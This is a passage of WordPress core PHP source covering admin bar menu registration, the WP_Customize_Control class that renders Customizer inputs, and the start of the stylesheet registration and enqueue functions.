				if ( empty( $node->meta['menu_title'] ) ) {
					$this->_render_group( $group, false );
				} else {
					$this->_render_group( $group, $node->meta['menu_title'] );
				}
			}
			echo '</div>';
		}

		if ( ! empty( $node->meta['html'] ) ) {
			echo $node->meta['html'];
		}

		echo '</li>';
	}

	/**
	 * Renders toolbar items recursively.
	 *
	 * @since 3.1.0
	 * @deprecated 3.3.0 Use WP_Admin_Bar::_render_item() or WP_Admin_bar::render() instead.
	 * @see WP_Admin_Bar::_render_item()
	 * @see WP_Admin_Bar::render()
	 *
	 * @param string $id    Unused.
	 * @param object $node
	 */
	public function recursive_render( $id, $node ) {
		_deprecated_function( __METHOD__, '3.3.0', 'WP_Admin_bar::render(), WP_Admin_Bar::_render_item()' );
		$this->_render_item( $node );
	}

	/**
	 * Adds menus to the admin bar.
	 *
	 * @since 3.1.0
	 */
	public function add_menus() {
		// User-related, aligned right.
		add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_menu', 0 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_search_menu', 4 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 7 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_recovery_mode_menu', 8 );

		// Site-related.
		add_action( 'admin_bar_menu', 'wp_admin_bar_sidebar_toggle', 0 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_wp_menu', 10 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_my_sites_menu', 20 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_site_menu', 30 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_edit_site_menu', 40 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_customize_menu', 40 );
		add_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 );

		// Content-related.
		if ( ! is_network_admin() && ! is_user_admin() ) {
			add_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 60 );
			add_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 70 );
		}
		add_action( 'admin_bar_menu', 'wp_admin_bar_edit_menu', 80 );

		add_action( 'admin_bar_menu', 'wp_admin_bar_add_secondary_groups', 200 );

		/**
		 * Fires after menus are added to the menu bar.
		 *
		 * @since 3.1.0
		 */
		do_action( 'add_admin_bar_menus' );
	}
}
<?php
/**
 * WordPress Customize Control classes
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.4.0
 */

/**
 * Customize Control class.
 *
 * @since 3.4.0
 */
#[AllowDynamicProperties]
class WP_Customize_Control {

	/**
	 * Incremented with each new class instantiation, then stored in $instance_number.
	 *
	 * Used when sorting two instances whose priorities are equal.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	protected static $instance_count = 0;

	/**
	 * Order in which this instance was created in relation to other instances.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	public $instance_number;

	/**
	 * Customizer manager.
	 *
	 * @since 3.4.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * Control ID.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $id;

	/**
	 * All settings tied to the control.
	 *
	 * @since 3.4.0
	 * @var array
	 */
	public $settings;

	/**
	 * The primary setting for the control (if there is one).
	 *
	 * @since 3.4.0
	 * @var string|WP_Customize_Setting|null
	 */
	public $setting = 'default';

	/**
	 * Capability required to use this control.
	 *
	 * Normally this is empty and the capability is derived from the capabilities
	 * of the associated `$settings`.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $capability;

	/**
	 * Order priority to load the control in Customizer.
	 *
	 * @since 3.4.0
	 * @var int
	 */
	public $priority = 10;

	/**
	 * Section the control belongs to.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $section = '';

	/**
	 * Label for the control.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $label = '';

	/**
	 * Description for the control.
	 *
	 * @since 4.0.0
	 * @var string
	 */
	public $description = '';

	/**
	 * List of choices for 'radio' or 'select' type controls, where values are the keys, and labels are the values.
	 *
	 * @since 3.4.0
	 * @var array
	 */
	public $choices = array();

	/**
	 * List of custom input attributes for control output, where attribute names are the keys and values are the values.
	 *
	 * Not used for 'checkbox', 'radio', 'select', 'textarea', or 'dropdown-pages' control types.
	 *
	 * @since 4.0.0
	 * @var array
	 */
	public $input_attrs = array();

	/**
	 * Show UI for adding new content, currently only used for the dropdown-pages control.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $allow_addition = false;

	/**
	 * @deprecated It is better to just call the json() method
	 * @since 3.4.0
	 * @var array
	 */
	public $json = array();

	/**
	 * Control's Type.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $type = 'text';

	/**
	 * Callback.
	 *
	 * @since 4.0.0
	 *
	 * @see WP_Customize_Control::active()
	 *
	 * @var callable Callback is called with one argument, the instance of
	 *               WP_Customize_Control, and returns bool to indicate whether
	 *               the control is active (such as it relates to the URL
	 *               currently being previewed).
	 */
	public $active_callback = '';

	/**
	 * Constructor.
	 *
	 * Supplied `$args` override class property defaults.
	 *
	 * If `$args['settings']` is not defined, use the `$id` as the setting ID.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    {
	 *     Optional. Array of properties for the new Control object. Default empty array.
	 *
	 *     @type int                  $instance_number Order in which this instance was created in relation
	 *                                                 to other instances.
	 *     @type WP_Customize_Manager $manager         Customizer bootstrap instance.
	 *     @type string               $id              Control ID.
	 *     @type array                $settings        All settings tied to the control. If undefined, `$id` will
	 *                                                 be used.
	 *     @type string               $setting         The primary setting for the control (if there is one).
	 *                                                 Default 'default'.
	 *     @type string               $capability      Capability required to use this control. Normally this is empty
	 *                                                 and the capability is derived from `$settings`.
	 *     @type int                  $priority        Order priority to load the control. Default 10.
	 *     @type string               $section         Section the control belongs to. Default empty.
	 *     @type string               $label           Label for the control. Default empty.
	 *     @type string               $description     Description for the control. Default empty.
	 *     @type array                $choices         List of choices for 'radio' or 'select' type controls, where
	 *                                                 values are the keys, and labels are the values.
	 *                                                 Default empty array.
	 *     @type array                $input_attrs     List of custom input attributes for control output, where
	 *                                                 attribute names are the keys and values are the values. Not
	 *                                                 used for 'checkbox', 'radio', 'select', 'textarea', or
	 *                                                 'dropdown-pages' control types. Default empty array.
	 *     @type bool                 $allow_addition  Show UI for adding new content, currently only used for the
	 *                                                 dropdown-pages control. Default false.
	 *     @type array                $json            Deprecated. Use WP_Customize_Control::json() instead.
	 *     @type string               $type            Control type. Core controls include 'text', 'checkbox',
	 *                                                 'textarea', 'radio', 'select', and 'dropdown-pages'. Additional
	 *                                                 input types such as 'email', 'url', 'number', 'hidden', and
	 *                                                 'date' are supported implicitly. Default 'text'.
	 *     @type callable             $active_callback Active callback.
	 * }
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->manager = $manager;
		$this->id      = $id;
		if ( empty( $this->active_callback ) ) {
			$this->active_callback = array( $this, 'active_callback' );
		}
		self::$instance_count += 1;
		$this->instance_number = self::$instance_count;

		// Process settings.
		if ( ! isset( $this->settings ) ) {
			$this->settings = $id;
		}

		$settings = array();
		if ( is_array( $this->settings ) ) {
			foreach ( $this->settings as $key => $setting ) {
				$settings[ $key ] = $this->manager->get_setting( $setting );
			}
		} elseif ( is_string( $this->settings ) ) {
			$this->setting       = $this->manager->get_setting( $this->settings );
			$settings['default'] = $this->setting;
		}
		$this->settings = $settings;
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 3.4.0
	 */
	public function enqueue() {}

	/**
	 * Check whether control is active to current Customizer preview.
	 *
	 * @since 4.0.0
	 *
	 * @return bool Whether the control is active to the current preview.
	 */
	final public function active() {
		$control = $this;
		$active  = call_user_func( $this->active_callback, $this );

		/**
		 * Filters response of WP_Customize_Control::active().
		 *
		 * @since 4.0.0
		 *
		 * @param bool                 $active  Whether the Customizer control is active.
		 * @param WP_Customize_Control $control WP_Customize_Control instance.
		 */
		$active = apply_filters( 'customize_control_active', $active, $control );

		return $active;
	}

	/**
	 * Default callback used when invoking WP_Customize_Control::active().
	 *
	 * Subclasses can override this with their specific logic, or they may
	 * provide an 'active_callback' argument to the constructor.
	 *
	 * @since 4.0.0
	 *
	 * @return true Always true.
	 */
	public function active_callback() {
		return true;
	}

	/**
	 * Fetch a setting's value.
	 * Grabs the main setting by default.
	 *
	 * @since 3.4.0
	 *
	 * @param string $setting_key
	 * @return mixed The requested setting's value, if the setting exists.
	 */
	final public function value( $setting_key = 'default' ) {
		if ( isset( $this->settings[ $setting_key ] ) ) {
			return $this->settings[ $setting_key ]->value();
		}
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 */
	public function to_json() {
		$this->json['settings'] = array();
		foreach ( $this->settings as $key => $setting ) {
			$this->json['settings'][ $key ] = $setting->id;
		}

		$this->json['type']           = $this->type;
		$this->json['priority']       = $this->priority;
		$this->json['active']         = $this->active();
		$this->json['section']        = $this->section;
		$this->json['content']        = $this->get_content();
		$this->json['label']          = $this->label;
		$this->json['description']    = $this->description;
		$this->json['instanceNumber'] = $this->instance_number;

		if ( 'dropdown-pages' === $this->type ) {
			$this->json['allow_addition'] = $this->allow_addition;
		}
	}

	/**
	 * Get the data to export to the client via JSON.
	 *
	 * @since 4.1.0
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function json() {
		$this->to_json();
		return $this->json;
	}

	/**
	 * Checks if the user can use this control.
	 *
	 * Returns false if the user cannot manipulate one of the associated settings,
	 * or if one of the associated settings does not exist. Also returns false if
	 * the associated section does not exist or if its capability check returns
	 * false.
	 *
	 * @since 3.4.0
	 *
	 * @return bool False if theme doesn't support the control or user doesn't have the required permissions, otherwise true.
	 */
	final public function check_capabilities() {
		if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) {
			return false;
		}

		foreach ( $this->settings as $setting ) {
			if ( ! $setting || ! $setting->check_capabilities() ) {
				return false;
			}
		}

		$section = $this->manager->get_section( $this->section );
		if ( isset( $section ) && ! $section->check_capabilities() ) {
			return false;
		}

		return true;
	}

	/**
	 * Get the control's content for insertion into the Customizer pane.
	 *
	 * @since 4.1.0
	 *
	 * @return string Contents of the control.
	 */
	final public function get_content() {
		ob_start();
		$this->maybe_render();
		return trim( ob_get_clean() );
	}

	/**
	 * Check capabilities and render the control.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Control::render()
	 */
	final public function maybe_render() {
		if ( ! $this->check_capabilities() ) {
			return;
		}

		/**
		 * Fires just before the current Customizer control is rendered.
		 *
		 * @since 3.4.0
		 *
		 * @param WP_Customize_Control $control WP_Customize_Control instance.
		 */
		do_action( 'customize_render_control', $this );

		/**
		 * Fires just before a specific Customizer control is rendered.
		 *
		 * The dynamic portion of the hook name, `$this->id`, refers to
		 * the control ID.
		 *
		 * @since 3.4.0
		 *
		 * @param WP_Customize_Control $control WP_Customize_Control instance.
		 */
		do_action( "customize_render_control_{$this->id}", $this );

		$this->render();
	}

	/**
	 * Renders the control wrapper and calls $this->render_content() for the internals.
	 *
	 * @since 3.4.0
	 */
	protected function render() {
		$id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		$class = 'customize-control customize-control-' . $this->type;

		printf( '<li id="%s" class="%s">', esc_attr( $id ), esc_attr( $class ) );
		$this->render_content();
		echo '</li>';
	}

	/**
	 * Get the data link attribute for a setting.
	 *
	 * @since 3.4.0
	 * @since 4.9.0 Return a `data-customize-setting-key-link` attribute if a setting is not registered for the supplied setting key.
	 *
	 * @param string $setting_key
	 * @return string Data link parameter, a `data-customize-setting-link` attribute if the `$setting_key` refers to a pre-registered setting,
	 *                and a `data-customize-setting-key-link` attribute if the setting is not yet registered.
	 */
	public function get_link( $setting_key = 'default' ) {
		if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) {
			return 'data-customize-setting-link="' . esc_attr( $this->settings[ $setting_key ]->id ) . '"';
		} else {
			return 'data-customize-setting-key-link="' . esc_attr( $setting_key ) . '"';
		}
	}

	/**
	 * Render the data link attribute for the control's input element.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Control::get_link()
	 *
	 * @param string $setting_key
	 */
	public function link( $setting_key = 'default' ) {
		echo $this->get_link( $setting_key );
	}

	/**
	 * Render the custom attributes for the control's input element.
	 *
	 * @since 4.0.0
	 */
	public function input_attrs() {
		foreach ( $this->input_attrs as $attr => $value ) {
			echo $attr . '="' . esc_attr( $value ) . '" ';
		}
	}

	/**
	 * Render the control's content.
	 *
	 * Allows the content to be overridden without having to rewrite the wrapper in `$this::render()`.
	 *
	 * Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`.
	 * Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly.
	 *
	 * Control content can alternately be rendered in JS. See WP_Customize_Control::print_template().
	 *
	 * @since 3.4.0
	 */
	protected function render_content() {
		$input_id         = '_customize-input-' . $this->id;
		$description_id   = '_customize-description-' . $this->id;
		$describedby_attr = ( ! empty( $this->description ) ) ? ' aria-describedby="' . esc_attr( $description_id ) . '" ' : '';
		switch ( $this->type ) {
			case 'checkbox':
				?>
				<span class="customize-inside-control-row">
					<input
						id="<?php echo esc_attr( $input_id ); ?>"
						<?php echo $describedby_attr; ?>
						type="checkbox"
						value="<?php echo esc_attr( $this->value() ); ?>"
						<?php $this->link(); ?>
						<?php checked( $this->value() ); ?>
					/>
					<label for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_html( $this->label ); ?></label>
					<?php if ( ! empty( $this->description ) ) : ?>
						<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
					<?php endif; ?>
				</span>
				<?php
				break;
			case 'radio':
				if ( empty( $this->choices ) ) {
					return;
				}

				$name = '_customize-radio-' . $this->id;
				?>
				<?php if ( ! empty( $this->label ) ) : ?>
					<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
				<?php endif; ?>
				<?php if ( ! empty( $this->description ) ) : ?>
					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
				<?php endif; ?>

				<?php foreach ( $this->choices as $value => $label ) : ?>
					<span class="customize-inside-control-row">
						<input
							id="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"
							type="radio"
							<?php echo $describedby_attr; ?>
							value="<?php echo esc_attr( $value ); ?>"
							name="<?php echo esc_attr( $name ); ?>"
							<?php $this->link(); ?>
							<?php checked( $this->value(), $value ); ?>
							/>
						<label for="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"><?php echo esc_html( $label ); ?></label>
					</span>
				<?php endforeach; ?>
				<?php
				break;
			case 'select':
				if ( empty( $this->choices ) ) {
					return;
				}

				?>
				<?php if ( ! empty( $this->label ) ) : ?>
					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
				<?php endif; ?>
				<?php if ( ! empty( $this->description ) ) : ?>
					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
				<?php endif; ?>

				<select id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> <?php $this->link(); ?>>
					<?php
					foreach ( $this->choices as $value => $label ) {
						echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . esc_html( $label ) . '</option>';
					}
					?>
				</select>
				<?php
				break;
			case 'textarea':
				?>
				<?php if ( ! empty( $this->label ) ) : ?>
					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
				<?php endif; ?>
				<?php if ( ! empty( $this->description ) ) : ?>
					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
				<?php endif; ?>
				<textarea
					id="<?php echo esc_attr( $input_id ); ?>"
					rows="5"
					<?php echo $describedby_attr; ?>
					<?php $this->input_attrs(); ?>
					<?php $this->link(); ?>
				><?php echo esc_textarea( $this->value() ); ?></textarea>
				<?php
				break;
			case 'dropdown-pages':
				?>
				<?php if ( ! empty( $this->label ) ) : ?>
					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
				<?php endif; ?>
				<?php if ( ! empty( $this->description ) ) : ?>
					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
				<?php endif; ?>

				<?php
				$dropdown_name     = '_customize-dropdown-pages-' . $this->id;
				$show_option_none  = __( '&mdash; Select &mdash;' );
				$option_none_value = '0';
				$dropdown          = wp_dropdown_pages(
					array(
						'name'              => $dropdown_name,
						'echo'              => 0,
						'show_option_none'  => $show_option_none,
						'option_none_value' => $option_none_value,
						'selected'          => $this->value(),
					)
				);
				if ( empty( $dropdown ) ) {
					$dropdown  = sprintf( '<select id="%1$s" name="%1$s">', esc_attr( $dropdown_name ) );
					$dropdown .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $option_none_value ), esc_html( $show_option_none ) );
					$dropdown .= '</select>';
				}

				// Hackily add in the data link parameter.
				$dropdown = str_replace( '<select', '<select ' . $this->get_link() . ' id="' . esc_attr( $input_id ) . '" ' . $describedby_attr, $dropdown );

				/*
				 * Even more hacikly add auto-draft page stubs.
				 * @todo Eventually this should be removed in favor of the pages being injected into the underlying get_pages() call.
				 * See <https://github.com/xwp/wp-customize-posts/pull/250>.
				 */
				$nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' );
				if ( $nav_menus_created_posts_setting && current_user_can( 'publish_pages' ) ) {
					$auto_draft_page_options = '';
					foreach ( $nav_menus_created_posts_setting->value() as $auto_draft_page_id ) {
						$post = get_post( $auto_draft_page_id );
						if ( $post && 'page' === $post->post_type ) {
							$auto_draft_page_options .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $post->ID ), esc_html( $post->post_title ) );
						}
					}
					if ( $auto_draft_page_options ) {
						$dropdown = str_replace( '</select>', $auto_draft_page_options . '</select>', $dropdown );
					}
				}

				echo $dropdown;
				?>
				<?php if ( $this->allow_addition && current_user_can( 'publish_pages' ) && current_user_can( 'edit_theme_options' ) ) : // Currently tied to menus functionality. ?>
					<button type="button" class="button-link add-new-toggle">
						<?php
						/* translators: %s: Add New Page label. */
						printf( __( '+ %s' ), get_post_type_object( 'page' )->labels->add_new_item );
						?>
					</button>
					<div class="new-content-item">
						<label for="create-input-<?php echo esc_attr( $this->id ); ?>"><span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'New page title' );
							?>
						</span></label>
						<input type="text" id="create-input-<?php echo esc_attr( $this->id ); ?>" class="create-item-input" placeholder="<?php esc_attr_e( 'New page title&hellip;' ); ?>">
						<button type="button" class="button add-content"><?php _e( 'Add' ); ?></button>
					</div>
				<?php endif; ?>
				<?php
				break;
			default:
				?>
				<?php if ( ! empty( $this->label ) ) : ?>
					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
				<?php endif; ?>
				<?php if ( ! empty( $this->description ) ) : ?>
					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
				<?php endif; ?>
				<input
					id="<?php echo esc_attr( $input_id ); ?>"
					type="<?php echo esc_attr( $this->type ); ?>"
					<?php echo $describedby_attr; ?>
					<?php $this->input_attrs(); ?>
					<?php if ( ! isset( $this->input_attrs['value'] ) ) : ?>
						value="<?php echo esc_attr( $this->value() ); ?>"
					<?php endif; ?>
					<?php $this->link(); ?>
					/>
				<?php
				break;
		}
	}

	/**
	 * Render the control's JS template.
	 *
	 * This function is only run for control types that have been registered with
	 * WP_Customize_Manager::register_control_type().
	 *
	 * In the future, this will also print the template for the control's container
	 * element and be override-able.
	 *
	 * @since 4.1.0
	 */
	final public function print_template() {
		?>
		<script type="text/html" id="tmpl-customize-control-<?php echo esc_attr( $this->type ); ?>-content">
			<?php $this->content_template(); ?>
		</script>
		<?php
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Control::to_json().
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @since 4.1.0
	 */
	protected function content_template() {}
}

/**
 * WP_Customize_Color_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php';

/**
 * WP_Customize_Media_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php';

/**
 * WP_Customize_Upload_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php';

/**
 * WP_Customize_Image_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php';

/**
 * WP_Customize_Background_Image_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php';

/**
 * WP_Customize_Background_Position_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php';

/**
 * WP_Customize_Cropped_Image_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php';

/**
 * WP_Customize_Site_Icon_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php';

/**
 * WP_Customize_Header_Image_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php';

/**
 * WP_Customize_Theme_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php';

/**
 * WP_Widget_Area_Customize_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php';

/**
 * WP_Widget_Form_Customize_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php';

/**
 * WP_Customize_Nav_Menu_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php';

/**
 * WP_Customize_Nav_Menu_Item_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php';

/**
 * WP_Customize_Nav_Menu_Location_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php';

/**
 * WP_Customize_Nav_Menu_Name_Control class.
 *
 * As this file is deprecated, it will trigger a deprecation notice if instantiated. In a subsequent
 * release, the require_once here will be removed and _deprecated_file() will be called if file is
 * required at all.
 *
 * @deprecated 4.9.0 This file is no longer used due to new menu creation UX.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php';

/**
 * WP_Customize_Nav_Menu_Locations_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php';

/**
 * WP_Customize_Nav_Menu_Auto_Add_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php';

/**
 * WP_Customize_Date_Time_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-date-time-control.php';

/**
 * WP_Sidebar_Block_Editor_Control class.
 */
require_once ABSPATH . WPINC . '/customize/class-wp-sidebar-block-editor-control.php';
<?php
/**
 * Dependencies API: Styles functions
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Initializes $wp_styles if it has not been set.
 *
 * @global WP_Styles $wp_styles
 *
 * @since 4.2.0
 *
 * @return WP_Styles WP_Styles instance.
 */
function wp_styles() {
	global $wp_styles;

	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
		$wp_styles = new WP_Styles();
	}

	return $wp_styles;
}

/**
 * Displays styles that are in the $handles queue.
 *
 * Passing an empty array to $handles prints the queue,
 * passing an array with one string prints that style,
 * and passing an array of strings prints those styles.
 *
 * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
 *
 * @since 2.6.0
 *
 * @param string|bool|array $handles Styles to be printed. Default 'false'.
 * @return string[] On success, an array of handles of processed WP_Dependencies items; otherwise, an empty array.
 */
function wp_print_styles( $handles = false ) {
	global $wp_styles;

	if ( '' === $handles ) { // For 'wp_head'.
		$handles = false;
	}

	if ( ! $handles ) {
		/**
		 * Fires before styles in the $handles queue are printed.
		 *
		 * @since 2.6.0
		 */
		do_action( 'wp_print_styles' );
	}

	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );

	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
		if ( ! $handles ) {
			return array(); // No need to instantiate if nothing is there.
		}
	}

	return wp_styles()->do_items( $handles );
}

/**
 * Adds extra CSS styles to a registered stylesheet.
 *
 * Styles will only be added if the stylesheet is already in the queue.
 * Accepts a string $data containing the CSS. If two or more CSS code blocks
 * are added to the same stylesheet $handle, they will be printed in the order
 * they were added, i.e. the latter added styles can redeclare the previous.
 *
 * @see WP_Styles::add_inline_style()
 *
 * @since 3.3.0
 *
 * @param string $handle Name of the stylesheet to add the extra styles to.
 * @param string $data   String containing the CSS styles to be added.
 * @return bool True on success, false on failure.
 */
function wp_add_inline_style( $handle, $data ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	if ( false !== stripos( $data, '</style>' ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: <style>, 2: wp_add_inline_style() */
				__( 'Do not pass %1$s tags to %2$s.' ),
				'<code>&lt;style&gt;</code>',
				'<code>wp_add_inline_style()</code>'
			),
			'3.7.0'
		);
		$data = trim( preg_replace( '#<style[^>]*>(.*)</style>#is', '$1', $data ) );
	}

	return wp_styles()->add_inline_style( $handle, $data );
}

/**
 * Registers a CSS stylesheet.
 *
 * @see WP_Dependencies::add()
 * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
 *
 * @since 2.6.0
 * @since 4.3.0 A return value was added.
 *
 * @param string           $handle Name of the stylesheet. Should be unique.
 * @param string|false     $src    Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory.
 *                                 If source is set to false, stylesheet is an alias of other stylesheets it depends on.
 * @param string[]         $deps   Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array.
 * @param string|bool|null $ver    Optional. String specifying stylesheet version number, if it has one, which is added to the URL
 *                                 as a query string for cache busting purposes. If version is set to false, a version
 *                                 number is automatically added equal to current installed WordPress version.
 *                                 If set to null, no version is added.
 * @param string           $media  Optional. The media for which this stylesheet has been defined.
 *                                 Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like
 *                                 '(orientation: portrait)' and '(max-width: 640px)'.
 * @return bool Whether the style has been registered. True on success, false on failure.
 */
function wp_register_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	return wp_styles()->add( $handle, $src, $deps, $ver, $media );
}

/**
 * Removes a registered stylesheet.
 *
 * @see WP_Dependencies::remove()
 *
 * @since 2.1.0
 *
 * @param string $handle Name of the stylesheet to be removed.
 */
function wp_deregister_style( $handle ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	wp_styles()->remove( $handle );
}

/**
 * Enqueues a CSS stylesheet.
 *
 * Registers the style if source provided (does NOT overwrite) and enqueues.
 *
 * @see WP_Dependencies::add()
 * @see WP_Dependencies::enqueue()
 * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
 *
 * @since 2.6.0
 *
 * @param string           $handle Name of the stylesheet. Should be unique.
 * @param string           $src    Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory.
 *                                 Default empty.
 * @param string[]         $deps   Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array.
 * @param string|bool|null $ver    Optional. String specifying stylesheet version number, if it has one, which is added to the URL
 *                                 as a query string for cache busting purposes. If version is set to false, a version
 *                                 number is automatically added equal to current installed WordPress version.
 *                                 If set to null, no version is added.
 * @param string           $media  Optional. The media for which this stylesheet has been defined.
 *                                 Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like
 *                                 '(orientation: portrait)' and '(max-width: 640px)'.
 */
function wp_enqueue_style( $handle, $src = '', $deps = array(), $ver = false, $media = 'all' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	$wp_styles = wp_styles();

	if ( $src ) {
		$_handle = explode( '?', $handle );
		$wp_styles->add( $_handle[0], $src, $deps, $ver, $media );
	}

	$wp_styles->enqueue( $handle );
}

/**
 * Removes a previously enqueued CSS stylesheet.
 *
 * @see WP_Dependencies::dequeue()
 *
 * @since 3.1.0
 *
 * @param string $handle Name of the stylesheet to be removed.
 */
function wp_dequeue_style( $handle ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	wp_styles()->dequeue( $handle );
}

/**
 * Checks whether a CSS stylesheet has been added to the queue.
 *
 * @since 2.8.0
 *
 * @param string $handle Name of the stylesheet.
 * @param string $status Optional. Status of the stylesheet to check. Default 'enqueued'.
 *                       Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
 * @return bool Whether style is queued.
 */
function wp_style_is( $handle, $status = 'enqueued' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	return (bool) wp_styles()->query( $handle, $status );
}

/**
 * Adds metadata to a CSS stylesheet.
 *
 * Works only if the stylesheet has already been registered.
 *
 * Possible values for $key and $value:
 * 'conditional' string      Comments for IE 6, lte IE 7 etc.
 * 'rtl'         bool|string To declare an RTL stylesheet.
 * 'suffix'      string      Optional suffix, used in combination with RTL.
 * 'alt'         bool        For rel="alternate stylesheet".
